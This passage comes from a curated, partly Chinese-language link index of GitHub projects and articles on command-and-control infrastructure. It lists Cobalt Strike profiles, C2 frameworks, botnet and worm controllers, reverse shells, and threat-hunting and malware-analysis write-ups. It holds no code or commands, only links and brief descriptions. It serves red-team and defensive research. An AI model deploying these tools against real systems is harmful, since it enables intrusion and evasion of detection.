[bluscreenofjeff/malleable-c2-randomizer](https://github.com/bluscreenofjeff/malleable-c2-randomizer) A script to randomize Cobalt Strike Malleable C2 profiles and reduce the chances of flagging signature-based detection controls - [**195**星][1y] [PS] [qax-a-team/cobaltstrike-toolset](https://github.com/QAX-A-Team/CobaltStrike-Toolset) Aggressor Script, Kits, Malleable C2 Profiles, External C2 and so on - [**188**星][2y] [C#] [ryhanson/externalc2](https://github.com/ryhanson/externalc2) A library for integrating communication channels with the Cobalt Strike External C2 server - [**165**星][6m] [threatexpress/malleable-c2](https://github.com/threatexpress/malleable-c2) Cobalt Strike Malleable C2 Design and Reference Guide - [**160**星][11d] [Py] [threatexpress/cs2modrewrite](https://github.com/threatexpress/cs2modrewrite) Convert Cobalt Strike profiles to modrewrite scripts - [**146**星][2y] [Py] [und3rf10w/external_c2_framework](https://github.com/und3rf10w/external_c2_framework) Python api for usage with cobalt strike's External C2 specification - [**105**星][5m] [xx0hcd/malleable-c2-profiles](https://github.com/xx0hcd/malleable-c2-profiles) Cobalt Strike - Malleable C2 Profiles. A collection of profiles used in different projects using Cobalt Strike - [**67**星][2y] [C] [outflanknl/external_c2](https://github.com/outflanknl/external_c2) POC for Cobalt Strike external C2 - [**56**星][24d] [1135/1135-cobaltstrike-toolkit](https://github.com/1135/1135-cobaltstrike-toolkit) about CobaltStrike - [**55**星][1y] [Py] [truneski/external_c2_framework](https://github.com/truneski/external_c2_framework) Python api for usage with cobalt strike's External C2 specification - [**41**星][3y] [bluscreenofjeff/malleablec2profiles](https://github.com/bluscreenofjeff/malleablec2profiles) Malleable C2 profiles for Cobalt Strike - [**41**星][2y] [Go] [empty-nest/emptynest](https://github.com/empty-nest/emptynest) 基于插件的 C2 服务器框架。其目标不是取代某些强大的工具（例如 Empire、Metasploit、CobaltStrike），而是创建一个支持框架，以便为自定义 agents 快速创建小型、专用的 handlers - [**12**星][5m] [TS] [hattmo/c2profilejs](https://github.com/hattmo/c2profilejs) Web UI for creating C2 profiles for Cobalt Strike ### <a id="249b843c26732ce792d7448c2601f595"></a>文章 - 2018.12 [freebuf] [关于Cobalt Strike的Malleable-C2-Profiles浅析](https://www.freebuf.com/articles/rookie/189948.html) - 2018.09 [specterops] [A Deep Dive into Cobalt Strike Malleable C2](https://medium.com/p/6660e33b0e0b) - 2018.09 [threatexpress] [A Deep Dive into Cobalt Strike Malleable C2](http://threatexpress.com/2018/09/a-deep-dive-into-cobalt-strike-malleable-c2/) - 2018.09 [threatexpress] [A Deep Dive into Cobalt Strike Malleable C2](http://threatexpress.com/blogs/2018/a-deep-dive-into-cobalt-strike-malleable-c2/) - 2018.01 [threatexpress] [Automating Apache mod_rewrite and Cobalt Strike Malleable C2 for Intelligent Redirection](http://threatexpress.com/2018/02/automating-cobalt-strike-profiles-apache-mod_rewrite-htaccess-files-intelligent-c2-redirection/) - 2017.09 [mwrinfosecurity] [“Tasking” Office 365 for Cobalt Strike C2](https://labs.mwrinfosecurity.com/blog/tasking-office-365-for-cobalt-strike-c2/) - 2017.01 [bluescreenofjeff] [How to Write Malleable C2 Profiles for Cobalt Strike](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/) - 2016.06 [bluescreenofjeff] [Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite](https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/) *** ## <a id="ec8ac76dec379ff452f681a4504444b8"></a>工具 ### <a id="dbd38a8d8a1e246cd8628a34002c5fe7"></a>新添加 - [**1135**星][13d] [Boo] [byt3bl33d3r/silenttrinity](https://github.com/byt3bl33d3r/silenttrinity) An asynchronous, collaborative post-exploitation agent powered by Python and .NET's DLR - [**614**星][12d] [Py] [trustedsec/trevorc2](https://github.com/trustedsec/trevorc2) 通过正常的可浏览的网站隐藏 C&C 指令的客户端/服务器模型，因为时间间隔不同，检测变得更加困难，并且获取主机数据时不会使用 POST 请求 - [**575**星][3m] [PS] [nettitude/poshc2_old](https://github.com/nettitude/poshc2_old) Powershell C2 Server and Implants - [**478**星][5m] [C++] [fsecurelabs/c3](https://github.com/FSecureLABS/C3) 一个用于快速定制C2通道原型的框架，同时仍提供与现有攻击性工具包的集成。 - [**442**星][3y] [CSS] [graniet/chromebackdoor](https://github.com/graniet/chromebackdoor) 一个渗透测试工具PoC，使用MITB技术在启动后生成Windows可执行文件“ .exe”，并在大多数流行的浏览器上运行恶意扩展或脚本，并通过C&C发送所有DOM数据。 - [**336**星][12d] [PS] [nettitude/poshc2](https://github.com/nettitude/poshc2) Python Server for PoshC2 - [**325**星][1y] [C#] [spiderlabs/dohc2](https://github.com/spiderlabs/dohc2) DoHC2 allows the ExternalC2 library from Ryan Hanson ( - [**273**星][4m] [Py] [felixweyne/imaginaryc2](https://github.com/felixweyne/imaginaryc2) 辅助对恶意软件进行行为（网络）分析，python - [**205**星][3y] [Py] [countercept/doublepulsar-c2-traffic-decryptor](https://github.com/countercept/doublepulsar-c2-traffic-decryptor) 处理PCAP文件，解密发送到DOUBLEPULSAR implant的C2流量 - [**186**星][2y] [Py] [woj-ciech/daily-dose-of-malware](https://github.com/woj-ciech/daily-dose-of-malware) Script lets you gather malicious software and c&c servers from open source platforms like Malshare, Malcode, Google, Cymon - vxvault, cybercrime tracker and c2 for Pony. - [**155**星][7d] [Py] [chrispetrou/hrshell](https://github.com/chrispetrou/hrshell) HRShell is an HTTPS/HTTP reverse shell built with flask. It is an advanced C2 server with many features & capabilities. - [**136**星][2y] [Py] [pjlantz/hale](https://github.com/pjlantz/hale) Botnet command & control monitor - [**132**星][10m] [C] [treehacks/botnet-hackpack](https://github.com/treehacks/botnet-hackpack) Build a basic Command & Control botnet in C - [**130**星][6d] [Py] [mhaskar/octopus](https://github.com/mhaskar/octopus) Open source pre-operation C2 server based on python and powershell - [**125**星][7d] [JS] [p3nt4/nuages](https://github.com/p3nt4/nuages) A modular C2 framework - [**99**星][6d] [Py] [ziconius/fudgec2](https://github.com/ziconius/fudgec2) FudgeC2 - a command and control framework designed for team collaboration and post-exploitation activities. - [**83**星][5y] [Py] [maldroid/maldrolyzer](https://github.com/maldroid/maldrolyzer) Simple framework to extract "actionable" data from Android malware (C&Cs, phone numbers etc.) - [**79**星][9m] [C++] [watersalesman/aura-botnet](https://github.com/watersalesman/aura-botnet) A super portable botnet framework with a Django-based C2 server. The client is written in C++, with alternate clients written in Rust, Bash, and Powershell. - [**70**星][14d] [Py] [angus-y/pyiris-backdoor](https://github.com/angus-y/pyiris-backdoor) a modular, stealthy and flexible remote-access-toolkit written completely in python used to command and control other systems. - [**68**星][1m] [C#] [maraudershell/marauder](https://github.com/maraudershell/marauder) A .NET agent for the Faction C2 Framework - [**67**星][5m] [HTML] [project-prismatica/prismatica](https://github.com/project-prismatica/prismatica) Responsive Command and Control System - [**58**星][1y] [C#] [mdsecactivebreach/browser-externalc2](https://github.com/mdsecactivebreach/browser-externalc2) External C2 Using IE COM Objects - [**56**星][2y] [Go] [averagesecurityguy/c2](https://github.com/averagesecurityguy/c2) A simple, extensible C&C beaconing system. - [**48**星][3m] [Shell] [professionallyevil/c4](https://github.com/professionallyevil/c4) Cyberdelia, a Collection of Command and Control frameworks - [**44**星][30d] [JS] [shadow-workers/shadow-workers](https://github.com/shadow-workers/shadow-workers) C2 and proxy designed for penetration testers to help in the exploitation of XSS and malicious Service Workers (SW) - [**41**星][2y] [Py] [v1v1/sleight](https://github.com/v1v1/sleight) Empire HTTP(S) C2 redirector setup script - [**39**星][1y] [PS] [outflanknl/doh_c2_trigger](https://github.com/outflanknl/doh_c2_trigger) Code for blogpost: - [**38**星][12d] [C#] [sf197/telegra_csharp_c2](https://github.com/sf197/telegra_csharp_c2) Command and Control for C# Writing - [**37**星][11m] [Go] [prsecurity/golang_c2](https://github.com/prsecurity/golang_c2) Boilerplate C2 written in Go for red teams - [**31**星][16d] [Py] [qsecure-labs/overlord](https://github.com/qsecure-labs/overlord) Overlord - Red Teaming Infrastructure Automation - [**30**星][6y] [PS] [enigma0x3/powershell-c2](https://github.com/enigma0x3/powershell-c2) - [**24**星][1y] [prsecurity/neutrino](https://github.com/prsecurity/neutrino) Neutrino C2 Source Code - [**23**星][25d] [Go] [audibleblink/bothan](https://github.com/audibleblink/bothan) Is this IP a C2 server? - [**19**星][1y] [tevora-threat/rt_redirectors](https://github.com/tevora-threat/rt_redirectors) Ansible role to configure redirectors for red team C2 - [**18**星][5y] [PS] [et0x/c2](https://github.com/et0x/c2) Methods of C2 - [**18**星][1m] [Py] [marcorosa/cnc-botnet-in-python](https://github.com/marcorosa/cnc-botnet-in-python) C&C Botnet written in Python with fabric - [**17**星][1y] [C] [kiwidoggie/oni-framework](https://github.com/kiwidoggie/oni-framework) Embedded systems C2 software written in C/C# - [**17**星][3y] [Go] [pandipanda69/my-little-honeypot](https://github.com/pandipanda69/my-little-honeypot) This repository aims to show how easy it is to code a telnet honeypot in order to recovering IOT malwares, and thus, active Command & Control. - [**17**星][4m] [stvemillertime/absolutely-positively-not-hacking-back-with-pcap](https://github.com/stvemillertime/absolutely-positively-not-hacking-back-with-pcap) Streaming Unexpected Network Byte Sequences with High Probability of Blue Screening or Otherwise Crashing Attacker Command-and-Control Nodes - [**16**星][4y] [Py] [hasherezade/bunitu_tests](https://github.com/hasherezade/bunitu_tests) Scripts for communication with Bunitu Trojan C&Cs - [**16**星][6m] [C] [blacchat/xzf](https://github.com/blacchat/xzf) EXIF-based command and control PoC - [**16**星][10m] [Py] [daniel-infosec/wikipedia-c2](https://github.com/daniel-infosec/wikipedia-c2) POC for utilizing wikipedia API for Command and Control - [**14**星][5y] [Py] [nocow4bob/pix-c2](https://github.com/nocow4bob/pix-c2) Ping Exfiltration Command and Control (PiX-C2) - [**14**星][3y] [Py] [secarmalabs/indushell](https://github.com/secarmalabs/indushell) PoC C&C for the Industroyer malware - [**14**星][5m] [C#] [immersive-command-system/immersivedroneinterface](https://github.com/immersive-command-system/ImmersiveDroneInterface) aerial vehicle command and control platform, designed for immersive interfaces (such as the Oculus Rift). - [**11**星][4m] [Py] [jacobsoo/amtracker](https://github.com/jacobsoo/amtracker) Android Malware Tracker - [**10**星][12m] [Dockerfile] [d3vzer0/cnc-relay](https://github.com/d3vzer0/cnc-relay) Docker projects to retain beacon source IPs using C2 relaying infra - [**10**星][9m] [Py] [m8r0wn/transportc2](https://github.com/m8r0wn/transportc2) PoC Command and Control Server. Interact with clients through a private web interface, add new users for team sharing and more. - [**10**星][3y] [Py] [r3mrum/loki-parse](https://github.com/r3mrum/loki-parse) A python script that can detect and parse loki-bot (malware) related network traffic. This script can be helpful to DFIR analysts and security researchers who want to know what data is being exfiltrated to the C2, bot tracking, etc... - [**9**星][4m] [Py] [degenerat3/meteor](https://github.com/degenerat3/meteor) Cross-platform C2 with modules for TCP, web, and more soon to come - [**8**星][2m] [Py] [jacobsoo/malconfig](https://github.com/jacobsoo/malconfig) This is part of a module for the framework that i'm constantly developing. Currently only information of the C2 are disclosed here. - [**8**星][3y] [Py] [killswitch-gui/flask_heroku_redirector](https://github.com/killswitch-gui/flask_heroku_redirector) flask heroku C2 redirector template - [**8**星][5m] [Py] [r00k5a58/pyc2](https://github.com/r00k5a58/pyc2) simple c2 written in python to demonstrate security concepts - [**8**星][11m] [tothi/kali-rpi-luks-crypt](https://github.com/tothi/kali-rpi-luks-crypt) Full disk encryption for Kali on Raspberry using LUKS - [**8**星][25d] [Go] [xorrior/apfell-chrome-extension-c2server](https://github.com/xorrior/apfell-chrome-extension-c2server) Apfell C2 Server for the Google Chrome Extension Payload - [**7**星][3y] [PS] [0sm0s1z/invoke-selfsignedwebrequest](https://github.com/0sm0s1z/invoke-selfsignedwebrequest) This repo exists as a quick and dirty arsenal of methods and scripts to subvert .NET SSL/TLS certificate validation in PowerShell and press on with the hack! - [**6**星][2y] [C#] [jaydcarlson/c2-printf](https://github.com/jaydcarlson/c2-printf) 通过 Silicon Labs C2 调试器连接打印跟踪消息 - [**6**星][5m] [Py] [m507/m-botnet](https://github.com/m507/m-botnet) A C2 project that controls a self-propagating MS17-010 worm. - [**5**星][3y] [Py] [killswitch-gui/flask_pythonanywhere_redirector](https://github.com/killswitch-gui/flask_pythonanywhere_redirector) flask pythonanywhere C2 redirector template - [**4**星][3y] [Py] [mellow-hype/c2finder](https://github.com/mellow-hype/c2finder) Look for un-sinkholed C&C IPs in your Bro logs (from Bambanek Consulting C&C master list) - [**4**星][2y] [PHP] [nao-sec/ramnit_traffic_parser](https://github.com/nao-sec/ramnit_traffic_parser) Parsing Ramnit's traffic - [**3**星][23d] [C++] [lima-x-coding/win32.-d0t-nix.c2](https://github.com/lima-x-coding/win32.-d0t-nix.c2) A C/C++ recreation off the original Win32.VB.Illerka.C Virus by Michael [APFX] - [**0**星][2y] [Py] [bizdak/silverboxcc](https://github.com/bizdak/silverboxcc) Reverse engineered android malware, and this is a C&C server for it - [**0**星][2y] [boaxboax/ctf-quaorar](https://github.com/boaxboax/ctf-quaorar) *** ## <a id="307c055d7414abc9ab9f2fb4e85456e1"></a>文章 ### <a id="dc96281ca669ac06c3d7d134c7f90643"></a>新添加 - 2019.12 [prsecurity] [Casual Analysis of Valak C2](https://medium.com/p/3497fdb79bf7) - 2019.11 [talosintelligence] [C2 With It All: From Ransomware To Carding](https://blog.talosintelligence.com/2019/11/c2-with-it-all.html) - 2019.10 [activecountermeasures] [MITRE ATT&CK Matrix – Custom C2 Protocol](https://www.activecountermeasures.com/mitre-attck-matrix-custom-c2-protocol/) - 2019.10 [HackersOnBoard] [Digital Vengeance Exploiting the Most Notorious C&C Toolkits](https://www.youtube.com/watch?v=CmQOfqrRLEI) - 2019.10 [HackersOnBoard] [Black Hat USA 2017 Infecting the Enterprise Abusing Office365+Powershell for Covert C2](https://www.youtube.com/watch?v=dxGAreWx9Jw) - 2019.10 [rapid7] [Open-Source Command and Control of the DOUBLEPULSAR Implant](https://blog.rapid7.com/2019/10/02/open-source-command-and-control-of-the-doublepulsar-implant/) - 2019.09 [carbonblack] [CB TAU Threat Intelligence Notification: Common to Russian Underground Forums, AZORult Aims to Connect to C&C Server, Steal Sensitive Data](https://www.carbonblack.com/2019/09/24/cb-tau-threat-intelligence-notification-common-to-russian-underground-forums-azorult-aims-to-connect-to-cc-server-steal-sensitive-data/) - 2019.09 [BlackHat] [Flying a False Flag: Advanced C2, Trust Conflicts, and Domain Takeover](https://www.youtube.com/watch?v=2BEwqbCbQuM) - 2019.09 [lockboxx] [MacOS Red Teaming 209: macOS Frameworks for Command and Control](https://lockboxx.blogspot.com/2019/09/macos-red-teaming-209-macos-frameworks.html) - 2019.09 [activecountermeasures] [MITRE ATT&CK Matrix – C2 Connection Proxy](https://www.activecountermeasures.com/mitre-attck-matrix-c2-connection-proxy/) - 2019.09 [freebuf] [摩诃草团伙利用公用平台分发C&C配置攻击活动揭露](https://www.freebuf.com/articles/system/212584.html) - 2019.09 [trendmicro] [Glupteba Campaign Hits Network Routers and Updates C&C Servers with Data from Bitcoin Transactions](https://blog.trendmicro.com/trendlabs-security-intelligence/glupteba-campaign-hits-network-routers-and-updates-cc-servers-with-data-from-bitcoin-transactions/) - 2019.08 [deepsec] [DeepSec2019 Talk: Android Malware Adventures – Analyzing Samples and Breaking into C&C – Kürşat Oğuzhan Akıncı & Mert Can Coşkuner](https://blog.deepsec.net/deepsec2019-talk-android-malware-adventures-analyzing-samples-and-breaking-into-cc-kursat-oguzhan-akinci-mert-can-coskuner/) - 2019.08 [KindredSecurity] [Code/Design Analysis of the redViper C2 Communication Protocol](https://www.youtube.com/watch?v=rk4EMhq30-M) - 2019.07 [trendmicro] [Keeping a Hidden Identity: Mirai C&Cs in Tor Network](https://blog.trendmicro.com/trendlabs-security-intelligence/keeping-a-hidden-identity-mirai-ccs-in-tor-network/) - 2019.07 [vishal] [Emotet C2 July2019Wk4](https://medium.com/p/dfc64965087a) - 2019.07 [freebuf] [Linux平台ibus蠕虫C&C模块源码分析](https://www.freebuf.com/articles/system/208374.html) - 2019.07 [freebuf] [利用SSH隧道加密、隐蔽C&C通信流量](https://www.freebuf.com/articles/network/207850.html) - 2019.07 [4hou] [Linux平台ibus蠕虫C&C模块源码分析](https://www.4hou.com/web/19225.html) - 2019.07 [trendmicro] [New Miori Variant Uses Unique Protocol to Communicate with C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/new-miori-variant-uses-unique-protocol-to-communicate-with-cc/) - 2019.07 [binaryedge] [Guest Post: Using BinaryEdge to hunt for Panda Banker C2 servers and Android Malware](https://blog.binaryedge.io/2019/07/08/guest-post-panda-banker/) - 2019.05 [sentinelone] [Emotet: The Story of Disposable C2 Servers](https://www.sentinelone.com/blog/emotet-story-of-disposable-c2-servers/) - 2019.05 [cobbr] [Designing Peer-To-Peer Command and Control](https://cobbr.io/Designing-Peer-To-Peer-C2.html) - 2019.04 [specterops] [Designing Peer-To-Peer Command and Control](https://medium.com/p/ad2c61740456) - 2019.04 [trendmicro] [Emotet Adds New Evasion Technique and Uses Connected Devices as Proxy C&C Servers](https://blog.trendmicro.com/trendlabs-security-intelligence/emotet-adds-new-evasion-technique-and-uses-connected-devices-as-proxy-cc-servers/) - 2019.04 [paloaltonetworks] [Aggah Campaign: Bit.ly, BlogSpot, and Pastebin Used for C2 in Large Scale](https://unit42.paloaltonetworks.com/aggah-campaign-bit-ly-blogspot-and-pastebin-used-for-c2-in-large-scale-campaign/) - 2019.04 [hackingarticles] [Command & Control: Ares](https://www.hackingarticles.in/command-control-ares/) - 2019.04 [hackingarticles] [Command & Control: WebDav C2](https://www.hackingarticles.in/command-control-webdav-c2/) - 2019.04 [arxiv] [[1904.05119] Reconstruction of C&C Channel for P2P Botnet](https://arxiv.org/abs/1904.05119) - 2019.04 [carbonblack] [CB TAU Threat Intelligence Notification: Email VBS Downloader Connects to C2 Server, Downloads Trickbot Payload](https://www.carbonblack.com/2019/04/04/cb-tau-threat-intelligence-notification-email-vbs-downloader-connects-to-c2-server-downloads-trickbot-payload/) - 2019.04 [TROOPERScon] [TR19: Introducing Faction: A modern, powerful, multiplayer C2 framework](https://www.youtube.com/watch?v=NuAz6cfuEe4) - 2019.03 [hackingarticles] [Command & Control: Silenttrinity Post-Exploitation Agent](https://www.hackingarticles.in/command-control-silenttrinity-post-exploitation-agent/) - 2019.03 [0x00sec] [Build C&C architecture](https://0x00sec.org/t/build-c-c-architecture/12169/) - 2019.03 [sophos] [Emotet 101, stage 4: command and control](https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/) - 2019.02 [inyour] [Apache mod_python C2 Proxy](https://inyour.network/blog/2019/Apache-ModPython-C2-Proxy/) - 2019.02 [hackingarticles] [TrevorC2 – Command and Control](https://www.hackingarticles.in/trevorc2-command-and-control/) - 2019.02 [mdsec] [External C2, IE COM Objects and how to use them for Command and Control](https://www.mdsec.co.uk/2019/02/external-c2-ie-com-objects-and-how-to-use-them-for-command-and-control/) - 2019.02 [welivesecurity] [DanaBot Trojan updated with new C&C communication](https://www.welivesecurity.com/2019/02/07/danabot-updated-new-cc-communication/) - 2019.01 [freebuf] [在标准SSH隧道中隐藏C&C流量](https://www.freebuf.com/articles/system/194630.html) - 2019.01 [hackingarticles] [Koadic – COM Command & Control Framework](https://www.hackingarticles.in/koadic-com-command-control-framework/) - 2019.01 [blackhillsinfosec] [SSHazam: Hide Your C2 Inside of SSH](https://www.blackhillsinfosec.com/sshazam-hide-your-c2-inside-of-ssh/) - 2019.01 [4hou] [C&C浏览器](http://www.4hou.com/web/15389.html) - 2019.01 [sans] [#TheC2Matrix: Comparing C2 Frameworks](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1574188899.pdf) - 2019.01 [sans] [Covert Channels & Command and Control Innovation](https://www.sans.org/cyber-security-summit/archives/file/summit_archive_1574176351.pdf) - 2018.12 [securelayer7] [恶意代码C&C服务器基本解读](http://blog.securelayer7.net/basic-understanding-of-command-and-control-malware-server-part1/) - 2018.12 [securelayer7] [Basic Understanding of Command and Control Malware Server](https://blog.securelayer7.org/basic-understanding-of-command-and-control-malware-server-part1/) - 2018.12 [myonlinesecurity] [Lokibot campaigns continue with some changes to C2 urls](https://myonlinesecurity.co.uk/lokibot-campaigns-continue-with-some-changes-to-c2-urls/) - 2018.11 [360] [使用邮件实现C&C通信：新型木马Cannon分析](https://www.anquanke.com/post/id/164946/) - 2018.11 [trendmicro] [Perl-Based Shellbot Looks to Target Organizations via C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/perl-based-shellbot-looks-to-target-organizations-via-cc/) - 2018.10 [cofense] [America’s First: US Leads in Global Malware C2 Distribution](https://cofense.com/americas-first-us-leads-global-malware-c2-distribution/) - 2018.08 [vanimpe] [How to Leverage Log Services to Analyze C&C Traffic](https://www.vanimpe.eu/2018/08/26/how-to-leverage-log-services-to-analyze-cc-traffic/) - 2018.08 [nsfocus] [Turla变种针对Microsoft Outlook后门发起C&C攻击](http://blog.nsfocus.net/microsoft-outlook-turla/) - 2018.08 [nettitude] [Extending C2 Lateral Movement – Invoke-Pbind](https://labs.nettitude.com/blog/extending-c2-lateral-movement-invoke-pbind/) - 2018.07 [syspanda] [Threat Hunting: Fine Tuning Sysmon & Logstash to find Malware Callbacks C&C](https://www.syspanda.com/index.php/2018/07/30/threat-hunting-fine-tuning-sysmon-logstash-find-malware-callbacks-cc/) - 2018.07 [freebuf] [蓝宝菇(APT-C-12)最新攻击样本及C&C机制分析](http://www.freebuf.com/articles/system/178422.html) - 2018.07 [360] [天眼实验室：蓝宝菇(APT-C-12)最新攻击样本及C&C机制分析](https://www.anquanke.com/post/id/152639/) - 2018.07 [trendmicro] [黑客组织 Blackgear 活动再现: 使用社交网络做C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/blackgear-cyberespionage-campaign-resurfaces-abuses-social-media-for-cc-communication/) - 2018.07 [esentire] [Living Off the Land – The Command and Control Phase](https://www.esentire.com/blog/living-off-the-land-the-command-and-control-phase/) - 2018.06 [whitecatsec] [Lazarus C2 - miło Cię upolować](http://blog.whitecatsec.com/2018/06/lazarus-c2-milo-cie-upolowac_15.html) - 2018.06 [ironcastle] [SMTP Strangeness – Possible C2, (Fri, Jun 15th)](https://www.ironcastle.net/smtp-strangeness-possible-c2-fri-jun-15th/) - 2018.06 [sans] [SMTP Strangeness - Possible C2](https://isc.sans.edu/forums/diary/SMTP+Strangeness+Possible+C2/23770/) - 2018.06 [pentestlab] [Command and Control – Browser](https://pentestlab.blog/2018/06/06/command-and-control-browser/) - 2018.06 [nanxiao] [Add CC&CXX environment variables in your OpenBSD profile](http://nanxiao.me/en/add-cccxx-environment-variables-in-your-openbsd-profile/) - 2018.06 [newskysecurity] [Hacker Fail: IoT botnet command and control server accessible via default credentials](https://medium.com/p/2ea7cab36f72) - 2018.06 [newskysecurity] [Hacker Fail: IoT botnet command and control server accessible via default credentials](https://blog.newskysecurity.com/hacker-fail-iot-botnet-command-and-control-server-accessible-via-default-credentials-2ea7cab36f72) - 2018.06 [cobaltstrike] [Broken Promises and Malleable C2 Profiles](https://blog.cobaltstrike.com/2018/06/04/broken-promises-and-malleable-c2-profiles/) - 2018.05 [vanimpe] [Diving into the VPNFilter C2 via EXIF](https://www.vanimpe.eu/2018/05/25/diving-into-the-vpnfilter-c2-via-exif/) - 2018.05 [netspi] [Databases and Clouds: SQL Server as a C2](https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/) - 2018.05 [securelist] [VPNFilter EXIF to C2 mechanism analysed](https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/) - 2018.05 [blackhillsinfosec] [C2, C3, Whatever It Takes](https://www.blackhillsinfosec.com/c2-c3-whatever-it-takes/) - 2018.05 [0x00sec] [Tyrannosaurus reproduced fast and died young: A malicious host/IP/C&C from China, 2016 to present](https://0x00sec.org/t/tyrannosaurus-reproduced-fast-and-died-young-a-malicious-host-ip-c-c-from-china-2016-to-present/6691/) - 2018.05 [360] [2018全国网络空间安全技术大赛web&misc&crypto题解](https://www.anquanke.com/post/id/144862/) - 2018.05 [pentestingexperts] [Threat Hunting – Command and Control Center – OFFICE WORK](http://www.pentestingexperts.com/threat-hunting-command-and-control-center-office-work/) - 2018.05 [ironcastle] [Reversed C2 traffic from China, (Fri, May 11th)](https://www.ironcastle.net/reversed-c2-traffic-from-china-fri-may-11th/) - 2018.05 [sans] [Reversed C2 traffic from China](https://isc.sans.edu/forums/diary/Reversed+C2+traffic+from+China/23649/) - 2018.05 [countercept] [Retrieving Meterpreter C2 from Memory](https://countercept.com/blog/retrieving-meterpreter-c2-from-memory/) - 2018.05 [countercept] [Retrieving Meterpreter C2 from Memory](https://countercept.com/our-thinking/retrieving-meterpreter-c2-from-memory/) - 2018.04 [360] [用Apache mod_rewrite来保护你的Empire C2](https://www.anquanke.com/post/id/104784/) - 2018.04 [4hou] [使用Angr将自己伪造成C&C服务器以研究恶意软件的通信协议](http://www.4hou.com/technology/11074.html) - 2018.04 [bluescreenofjeff] [HTTPS Payload and C2 Redirectors](https://bluescreenofjeff.com/2018-04-12-https-payload-and-c2-redirectors/) - 2018.03 [findingbad] [C2 Hunting](http://findingbad.blogspot.com/2018/03/c2-hunting.html) - 2018.03 [blackhillsinfosec] [How to Build a Command & Control Infrastructure with Digital Ocean: C2K Revamped](https://www.blackhillsinfosec.com/how-to-build-a-command-control-infrastructure-with-digital-ocean-c2k-revamped/) - 2018.03 [akijosberryblog] [使用ActiveDirectory做C&C](https://akijosberryblog.wordpress.com/2018/03/17/active-directory-as-a-c2-command-control/) - 2018.03 [blackhillsinfosec] [WEBCAST: Tweets, Beats, and Sheets: C2 over Social Media](https://www.blackhillsinfosec.com/webcast-tweets-beats-and-sheets-c2-over-social-media/) - 2018.03 [infosecinstitute] [Threat Hunting – Command and Control Center - OFFICE WORK](http://resources.infosecinstitute.com/threat-hunting-command-control-center-office-work/) - 2018.02 [woj] [Command and control server in social media (Twitter, Instagram, Youtube + Telegram)](https://medium.com/p/5206ce763950) - 2018.02 [xorl] [Multi-stage C&C and Red Teams](https://xorl.wordpress.com/2018/02/11/multi-stage-cc-and-red-teams/) - 2018.01 [woj] [OSINT : Chasing Malware + C&C Servers](https://medium.com/p/3c893dc1e8cb) - 2018.01 [pentestlab] [Command and Control – JavaScript](https://pentestlab.blog/2018/01/08/command-and-control-javascript/) - 2018.01 [f5] [Mirai is Attacking Again, So We’re Outing its Hilarious, Explicit C&C Hostnames](https://f5.com/labs/articles/threat-intelligence/cyber-security/mirai-is-attacking-again-so-were-outing-its-hilarious-explicit-c-c-hostnames) - 2018.01 [pentestlab] [Command and Control – Web Interface](https://pentestlab.blog/2018/01/03/command-and-control-web-interface/) - 2018.01 [pentestlab] [Command and Control – Images](https://pentestlab.blog/2018/01/02/command-and-control-images/) - 2017.12 [invokethreat] [Thoughts on C2 Designs and Tradecraft](http://www.invokethreat.actor/2017/12/thoughts-on-c2-designs-and-tradecraft.html) - 2017.12 [benkowlab] [Another normal day in cybercrime: from a random Loki sample to 550 C&C](https://benkowlab.blogspot.com/2017/12/another-normal-day-in-cybercrime-from.html) - 2017.12 [obscuritylabs] [Docker Your Command & Control (C2)](https://obscuritylabs.com/blog/2017/12/24/docker-your-command-control-c2/) - 2017.12 [4hou] [假借可信的在线服务进行C&C攻击](http://www.4hou.com/web/9380.html) - 2017.12 [MSbluehat] [BlueHat v17 || Dyre to Trickbot: An Inside Look at TLS-Encrypted Command-And-Control Traffic](https://www.slideshare.net/MSbluehat/bluehat-v17-dyre-to-trickbot-an-inside-look-at-tlsencrypted-commandandcontrol-traffic) - 2017.11 [virusbulletin] [VB2017 paper: Offensive malware analysis: dissecting OSX/FruitFly.B via a custom C&C server](https://www.virusbulletin.com/blog/2017/11/vb2017-paper-offensive-malware-analysis-dissecting-osxfruitflyb-custom-cc-server/) - 2017.11 [pentestlab] [Command and Control – WMI](https://pentestlab.blog/2017/11/20/command-and-control-wmi/) - 2017.11 [pentestlab] [Command and Control – Website](https://pentestlab.blog/2017/11/14/command-and-control-website/) - 2017.11 [malwaretech] [如何识别僵尸软件 Emotet 的C&C 基础设施](https://www.malwaretech.com/2017/11/investigating-command-and-control-infrastructure-emotet.html) - 2017.11 [virusbulletin] [VB2017 video: Turning Trickbot: decoding an encrypted command-and-control channel](https://www.virusbulletin.com/blog/2017/11/vb2017-video-turning-trickbot-decoding-encrypted-command-and-control-channel/) - 2017.11 [thevivi] [Securing your Empire C2 with Apache mod_rewrite](https://thevivi.net/2017/11/03/securing-your-empire-c2-with-apache-mod_rewrite/) - 2017.10 [hackersgrid] [trevorc2介绍](http://hackersgrid.com/2017/10/trevorc2.html) - 2017.10 [trustedsec] [TrevorC2 – Legitimate Covert C2 over Browser Emulation](https://www.trustedsec.com/2017/10/trevorc2-legitimate-covert-c2-browser-emulation/) - 2017.10 [Cooper] [Hack.lu 2017 Digital Vengeance: Exploiting Notorious C&C Toolkits by Waylon Grange](https://www.youtube.com/watch?v=dPhwgTXIOOM) - 2017.10 [4hou] [使用FTP的系统控制后门作为C&C通道](http://www.4hou.com/system/7859.html) - 2017.10 [trendmicro] [使用 FTP 服务器做 C&C的恶意软件 SYSCON](https://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/) - 2017.10 [pentestlab] [Command and Control – HTTPS](https://pentestlab.blog/2017/10/04/command-and-control-https/) - 2017.10 [pentestlab] [Command and Control – Kernel](https://pentestlab.blog/2017/10/02/command-and-control-kernel/) - 2017.09 [virusbulletin] [VB2017 preview: Offensive malware analysis: dissecting OSX/FruitFly.B via a custom C&C 